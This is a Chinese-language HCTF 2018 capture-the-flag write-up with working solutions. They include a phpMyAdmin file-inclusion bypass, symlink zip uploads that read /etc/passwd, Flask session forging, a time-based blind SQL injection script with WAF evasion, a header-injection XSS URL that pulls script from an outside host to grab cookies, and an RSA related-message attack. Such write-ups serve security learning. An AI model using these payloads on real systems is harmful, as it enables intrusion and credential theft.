点击阅读
提目有难度,不过学到很多
difficult programming language 一个usb键盘的pcap包
利用王一航的脚本UsbKeyboardDataHacker提取数据, 但脚本有错误,看着改就好
得到
D'`;M?!\mZ4j8hgSvt2bN);^]+7jiE3Ve0A@Q=|;)sxwYXtsl2pongOe+LKa'e^]\a`_X|V[Tx;:VONSRQJn1MFKJCBfFE>&<`@9!=<5Y9y7654-,P0/o-,%I)ih&%$#z@xw|{ts9wvXWm3~
这是malbolge程序,在线跑下https://zb3.me/malbolge-tools/
hctf{m4lb0lGe}
easy dump 列出进程
./volatility_2.6_mac64_standalone -f ../../mem.data --profile=Win7SP1x64 pslist
查看mspaint.exe的ID
./volatility_2.6_mac64_standalone -f ../../mem.data --profile=Win7SP1x64 getsids | grep mspaint
转储mspaint.exe的内存
./volatility_2.6_mac64_standalone -f ../../mem.data --profile=Win7SP1x64 memdump -p 2768 --dump-dir=./
该为.data, 用GIMP将内存视为raw图片来看内存中的贴图
更改长宽得到图片再垂直翻转
Warmup CVE-2018-12613 phpMyAdmin后台文件包含
http://seaii-blog.com/index.php/2018/07/03/84.html
提示flag in ffffllllaaaagggg, source.php有源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php class emmm { public static function checkFile (&$page) { $whitelist = ["source" =>"source.php" ,"hint" =>"hint.php" ]; if (! isset ($page) || !is_string($page)) { echo "you can't see it" ; return false ; } if (in_array($page, $whitelist)) { return true ; } $_page = mb_substr( $page, 0 , mb_strpos($page . '?' , '?' ) ); if (in_array($_page, $whitelist)) { return true ; } $_page = urldecode($page); $_page = mb_substr( $_page, 0 , mb_strpos($_page . '?' , '?' ) ); if (in_array($_page, $whitelist)) { return true ; } echo "you can't see it" ; return false ; } } if (! empty ($_REQUEST['file' ]) && is_string($_REQUEST['file' ]) && emmm::checkFile($_REQUEST['file' ]) ) { include $_REQUEST['file' ]; exit ; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />" ; } ?>
第二次分割前会urldecode,我们把?
进行两次urlencode,也就是%253f
, 就能满足所有判断,此时xxx.php%253f/
被当作目录,在后面加适当../
即可包含想要的文件
admin 注册登陆,在change页面有注释<!-- https://github.com/woadsl1234/hctf_flask/ -->
查看源码, 在routes.py中
1 2 3 def strlower(username): username = nodeprep.prepare(username) return username
详情参考 Unicode安全 https://paper.tuisec.win/detail/a9ad1440249d95b
利用strlower函数ᴬdmin ->Admin -> admin
strlower函数在注册、登陆、更改password时都有使用
即以ᴬdmin
为用户名注册,改密码后再登陆可得到flag
hide and seek ln -s
软连接读文件,比如/proc/self/environ
,/etc/passwd
源码在/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from flask import Flask,session,render_template,redirect, url_for, escape, request,Responseimport uuidimport base64import randomimport flagfrom werkzeug.utils import secure_filenameimport osrandom.seed(uuid.getnode()) app = Flask(__name__) app.config['SECRET_KEY' ] = str(random.random()*100 ) app.config['UPLOAD_FOLDER' ] = './uploads' app.config['MAX_CONTENT_LENGTH' ] = 100 * 1024 ALLOWED_EXTENSIONS = set(['zip' ]) def allowed_file (filename) : return '.' in filename and \ filename.rsplit('.' , 1 )[1 ].lower() in ALLOWED_EXTENSIONS @app.route('/', methods=['GET']) def index () : error = request.args.get('error' , '' ) if (error == '1' ): session.pop('username' , None ) return render_template('index.html' , forbidden=1 ) if 'username' in session: return render_template('index.html' , user=session['username' ], flag=flag.flag) else : return render_template('index.html' ) @app.route('/login', methods=['POST']) def login () : username=request.form['username' ] password=request.form['password' ] if request.method == 'POST' and username != '' and password != '' : if (username == 'admin' ): return redirect(url_for('index' ,error=1 )) session['username' ] = username return redirect(url_for('index' )) @app.route('/logout', methods=['GET']) def logout () : session.pop('username' , None ) return redirect(url_for('index' )) @app.route('/upload', methods=['POST']) def upload_file () : if 'the_file' not in request.files: return redirect(url_for('index' )) file = request.files['the_file' ] if file.filename == '' : return redirect(url_for('index' )) if file and allowed_file(file.filename): filename = secure_filename(file.filename) file_save_path = os.path.join(app.config['UPLOAD_FOLDER' ], filename) if (os.path.exists(file_save_path)): return 'This file already exists' file.save(file_save_path) else : return 'This file is not a zipfile' try : extract_path = file_save_path + '_' os.system('unzip -n ' + file_save_path + ' -d ' + extract_path) read_obj = os.popen('cat ' + extract_path + '/*' ) file = read_obj.read() read_obj.close() os.system('rm -rf ' + extract_path) except Exception as e: file = None os.remove(file_save_path) if (file != None ): if (file.find(base64.b64decode('aGN0Zg==' ).decode('utf-8' )) != -1 ): return redirect(url_for('index' , error=1 )) return Response(file) if __name__ == '__main__' : app.run(host='127.0.0.1' , debug=True , port=10008 )
其随机数种子random.seed(uuid.getnode())
uuid.getnode()
获取硬件的地址并以48位二进制长度的正整数形式返回,这里所说的硬件地址是指网络接口的MAC地址,如果一个机器有多个网络接口,可能返回其中的任一个。如果获取失败,将按照RFC 4122的规定将随机返回的48位二进制整数的第8位设置成1
再读/sys/class/net/eth0/address
得mac地址12:34:3e:14:7c:62
1 2 python session_cookie_manager.py decode -c eyJuYW1lIjoiYWRtaW4iLCJ1c2VybmFtZSI6InF3ZSJ9.DsvLsw.O0j4KKluGmdUCanKj3b2eUHYxJU {"name":"admin","username":"qwe"}
本地得SECRET_KEY, 生成username为admin的session
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from flask import Flaskfrom flask import sessionimport randomimport uuidrandom.seed(int('12343e147c62' ,16 )) app = Flask(__name__) app.config['SECRET_KEY' ] = '11.935137566861131' @app.route('/', methods=['GET', 'POST']) def index () : session['username' ] = u'admin' return '<h1>Hello, %s</h1><h2></h2>' % session['name' ] if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=7780 ,debug=True )
session=.eJyrVspLzE1VslJKTMnNzFPSUSotTi1CEaoFANCMC7w.DsvL0w.NP2i5E0fKTL9Ph5HEiGPid5aZWA
kzone 会跳转到qq空间,目录扫描发现www.zip,admin/
进行代码审计,发现include/member.php中的sql查询未进行过滤
cookie传入的时候要进行json_decode,而json_decode会解unicode,可以利用unicode编码绕过WAF
如
1 2 3 4 5 6 7 8 <?php error_reporting(0 ); $json = '{"\u0075\u006e\u0069\u006f\u006e,":1,"b":2,"c":3}' ; $j = json_decode($json,true ); print_r($j); ?> Array ( [union] => 1 [b] => 2 [c] => 3 )
原地址关了,本地起的docker
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import requestsimport reimport jsonimport timeurl = 'http://127.0.0.1:10000/admin/index.php' dic = '' key = '' for i in range(32 ,127 ): dic += chr(i) print 'dic is :' +dicdef encode (s) : tmp = '' for i in s: tmp += '\u00' +str(i.encode('hex' )) return tmp for i in range(1 ,100 ): isok = 0 for d in dic: payload = "admin' and if((substr((select binary F1a9 from F1444g),%d,1)='%s'),sleep(5),1)#" .replace(' ' ,'/**/' ) % (i,d) data = '{"admin_user":"' + encode(payload) +'","admin_pass":"1"}' cookies = {'islogin' :'1' ,'login_data' :data} print '[+]trying: ' +payload start = time.time() res = requests.get(url,cookies=cookies).text end = time.time() if end - start >= 3 : key += d isok = 1 print 'update key :' +key break if isok == 0 : break print '[*]:' +key
hctf{hctf_2018_kzone_Author_Li4n0}
Bottle 利用CSRF构造xss获取cookie
exp:
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:0/%250aContent-Type:text/html%250aContent-Security-Policy:script-src%2520*%250a%250a%3Cscript/src=http://zzm.cat/1.js%3E%3C/script%3E
game 可以按照密码进行排序
注册新用户,密码逐位逐位与admin的密码比较,得到admin的密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import requests import string import re def reg(username,password): url = "http://game.2018.hctf.io/web2/action.php?action=reg" data = { "username":username, "password":password, "sex":1, "submit":"submit" } content = requests.post(url=url,data=data).content print content login_url = "http://game.2018.hctf.io/web2/action.php?action=login" ss = "-/123456789"+string.lowercase flag = '' for i in range(32): for j in range(33,126): username = "aaaafaffmpxxm"+str(i) +"fdfdlxx8alsdff"+str(j) password = flag + chr(j) print username,password reg(username,password) data = { "username":username, "password":str(password), "submit":"submit" } print data req = requests.session() content = req.post(url=login_url,data=data).content #print content order_url = "http://game.2018.hctf.io/web2/user.php?order=password" content = req.get(url=order_url).content #print content tmp = re.findall(r'%s[.\s\S]+?<td>\s*1\s*</td>\s*<td>\s*admin\s*</td>'%username,content,re.S) if tmp: flag = flag + chr(j-1) print flag break
密码为dsa8&&!@#$%^&d1ngy1as3dja
freq game 果然爆破是不行的,利用FFT求频域分量,这就触及到我知识的盲区了
Eur3kAd队伍的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import * import json import numpy as np io=remote("150.109.119.46",6775) token="DN2WQ9iOvvAGyRxDC4KweQ2L9hAlhr6j" io.recvuntil("hint:") io.sendline("y") io.recvuntil("token:") io.sendline(token) for i in range(8): io.recvuntil("[") arr=io.recvuntil("]")[:-1] arr=arr.split(",") arr=map(float,arr) time_val=np.array(arr) freq_val=np.fft.fft(time_val) freq_val=map(abs,freq_val) freq_val_sorted=[i for i in freq_val] freq_val_sorted.sort(reverse=1) response=[] for j in range(4): response.append(min(freq_val.index(freq_val_sorted[j*2]),freq_val.index(freq_val_sorted[j*2+1]))) response_data="" for ele in response: response_data+=str(ele) response_data+=" " print response_data io.sendline(response_data[:-1]) # io.interactive() raw_input() io.interactive()
相关知识:https://findneo.github.io/171005NuptVigenereWP/
xor?rsa 搬运表哥的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import binasciidef short_pad_attack (c1, c2, e, n) : PRxy.<x,y> = PolynomialRing(Zmod(n)) PRx.<xn> = PolynomialRing(Zmod(n)) PRZZ.<xz,yz> = PolynomialRing(Zmod(n)) g1 = x^e - c1 g2 = (x+y)^e - c2 q1 = g1.change_ring(PRZZ) q2 = g2.change_ring(PRZZ) h = q2.resultant(q1) h = h.univariate_polynomial() h = h.change_ring(PRx).subs(y=xn) h = h.monic() kbits = n.nbits()//(2 *e*e) diff = h.small_roots(X=2 ^kbits, beta=0.5 )[0 ] return diff def related_message_attack (c1, c2, diff, e, n) : PRx.<x> = PolynomialRing(Zmod(n)) g1 = x^e - c1 g2 = (x+diff)^e - c2 def gcd (g1, g2) : while g2: g1, g2 = g2, g1 % g2 return g1.monic() return -gcd(g1, g2)[0 ] if __name__ == '__main__' : n = 27325117725066040425607261774702361305480031598260844657255259687949217947185875178414548742392020321812299436880101297227536559351730987915023996386949560743215563482065620796558339146309680837896911726355137737632498099719814507374535188668253558193836192571274971401444835848784952120830068942707870865057672494962150591569745891058420271040371596557379014064434807827018829839225991842910855143477861477983283840739861588719497836896794690605981838804564450022566211353870681343247472863651535379377939787977703685860325769265931265226619644497391491291527800611615877993682121665020799611215291015673668800698047 e = 5 nbits = n.nbits() kbits = nbits//(2 *e*e) print "upper %d bits (of %d bits) is same" % (nbits-kbits, nbits) c1 = 11146034647280413317443457623961239386839900851075033268495975097708099527017335893963808711594413240859252161601911195036434302423516981466705590143210837021632070692393449550584035345686324553211866055113228844210586772947411150216954229676034855823178188075496107807422868588742623940922760678808366543964733293726627911767243105246511250395661759753616263358374760407323735205233663336331991977749138009890575029063032763890464116037245275157079519540406571208629258706809359182978155122176341736830080587038326813241565093027445769495005048088248614564197179762009363506397136188047072831062771044194671584000093 c2 = 1206394889096499960081166011318481718487253865371591152275319942955987797889761136562701508553079502547193102588852377842551044867961440512715093383379196683866396069689611910096194350083404638346362642034206212849366833513854922022537854397304980423004330041027521742652293082886524946291846011200632987593435588619763971528985802898982891100146430607274314417600181969864547689720620303929732924061673055082880492983474112109999173957339098639555381626435870355703616291445746057601759611370928227297606247782969343337389538257681315001213167257800476196167120597495582636973391942846610897276862327699998885589310 diff = short_pad_attack(c1, c2, e, n) print "difference of two messages is %d" % diff m1 = related_message_attack(c1, c2, diff, e, n) print "m1 = " : m1 print "m2 = " : m1 + diff
参考:
http://p0desta.com
https://xz.aliyun.com/t/3253#toc-7
https://xz.aliyun.com/t/3255#toc-4